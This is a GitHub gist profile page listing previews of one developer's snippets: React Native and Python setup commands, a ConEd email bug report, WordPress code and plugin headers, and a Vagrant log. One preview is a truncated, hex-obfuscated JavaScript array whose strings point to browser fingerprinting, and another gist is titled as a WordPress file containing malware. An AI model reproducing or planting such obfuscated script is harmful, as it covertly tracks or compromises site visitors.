Skip to content

Instantly share code, notes, and snippets.

View paulschreiber's full-sized avatar

Paul Schreiber paulschreiber

View GitHub Profile
paulschreiber /
Last active May 14, 2024 19:06
Making a dummy React Native app with Expo and Expo Prebuild

Create a React Native app

npx react-native@latest init foo

Install Expo

cd foo
npx install-expo-modules@latest

Setup for Python Debugger with Pycharm/VS Code


  1. Create Virtual Enviorment
# Linux
sudo apt-get install python3-venv    # If needed
python3 -m venv .venv
source .venv/bin/activate
paulschreiber / coned.txt
Created August 28, 2022 02:26
ConEd bill broken HTML
This is not a request for help. This is not a problem with my account. This is a bug report for ConEd's emails. Please forward this messages to whatever department handles technical web/email problems.
Every month, we receive an email titled "Your Con Edison Bill Is Ready."
In the middle of the email is a big blue button labelled "Pay Now."
Clicking the button does not take you to a bill payment page. (It does not go anywhere.)
This button has not worked since December 2020. Every bill since January 2021 (20 months and counting) has contained broken HTML.
public function delete_thumbnails( $args, $assoc_args ) {
global $wpdb;
if ( isset( $assoc_args['dry-run'] ) && 'false' === $assoc_args['dry-run'] ) {
$dry_run = false;
} else {
$dry_run = true;
WP_CLI::line( '!!! Doing a dry-run, no thumbnails will be deleted.' );
var _ac=["\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x20\x54\x61\x69\x20\x4c\x65","\x69\x6e\x64\x65\x78\x65\x64\x44\x62\x4b\x65\x79","\x6f\x70\x65\x72\x61","\x68\x79\x70\x6f\x74","\x63\x6c\x69\x63\x6b","\x74\x6f\x75\x63\x68\x73\x74\x61\x72\x74","\x24\x63\x68\x72\x6f\x6d\x65\x5f\x61\x73\x79\x6e\x63\x53\x63\x72\x69\x70\x74\x49\x6e\x66\x6f","\x63\x6c\x65\x61\x72\x43\x61\x63\x68\x65","\x73\x6c\x69\x63\x65","\x61\x63\x63\x65\x6c\x65\x72\x61\x74\x69\x6f\x6e\x49\x6e\x63\x6c\x75\x64\x69\x6e\x67\x47\x72\x61\x76\x69\x74\x79","\x6e\x61\x76\x69\x67\x61\x74\x6f\x72","\x61\x6c\x6c","\x2c\x22\x61\x75\x74\x68\x22\x20\x3a\x20\x22","\x67\x65\x74\x5f\x73\x74\x6f\x70\x5f\x73\x69\x67\x6e\x61\x6c\x73","\x74\x6f","\x4d\x65\x6e\x6c\x6f","\x70\x61\x63\x74","\x6b\x65\x79\x64\x6f\x77\x6e","\x69\x73\x49\x67\x6e","\x73\x65\x61\x72\x63\x68","\x67\x65\x74\x53\x74\x6f\x72\x61\x67\x65\x55\x70\x64\x61\x74\x65\x73","\x41\x72\x69\x61\x6c\x48\x65\x62\x72\x65\x77\x2d\x4c\x69\x67\x68\x74","\x66\x6f\x6e\x74\x46\x61\x6d\x69\x6c\x79","\x77\x65\x62\x64\x72\
* Plugin Name: Contact Form Entries
* Description: Save form submissions to the database from <a href="">Contact Form 7</a>, <a href="">JetPack Contact Form</a>, <a href="">Ninja Forms</a>, <a href="">Formidable Forms</a>, <a href="">Quform</a>, <a href="">cformsII</a>, <a href="">Contact Form by BestWebSoft</a>, <a href="">Ultimate Form Builder</a>, <a href="">Caldera Forms</a> and <a href="">WP Forms</a>.
* Version: 1.1.1
* Requires at least: 3.8
* Tested up to: 5.4
* Author URI:
* Plugin URI: https://www.crmperks
paulschreiber / general-template.php
Last active May 25, 2020 23:03
WP general-template.php with malware
* General template tags that can go anywhere in a template.
* @package WordPress
* @subpackage Template
* Load header template.
Plugin Name: VIP Jetpack Sync Cron
Description: This drop-in plugin ensures that Jetpack only syncs on a dedicated cron task and schedules a single cron event upon a whitelist execution with a delay of 30s.
Version: 1.0
Author: Rebecca Hum, Automattic
class VIP_Jetpack_Cron_Sync {
* Adapted from
* Send mail, similar to PHP's mail
* A true return value does not automatically mean that the user received the
* email successfully. It just only means that the method used was able to
* process the request without any errors.
paulschreiber / vvv-2.1.log
Created November 2, 2017 19:37
VVV 2.1-develop provisioning log
==> default: Network connection detected...
==> default: Bash profile setup and directories.
==> default: sending incremental file list
==> default: db_backup
==> default: db_restore
==> default: makepot
==> default: vagrant_destroy
==> default: vagrant_halt
==> default: vagrant_suspend
==> default: vagrant_up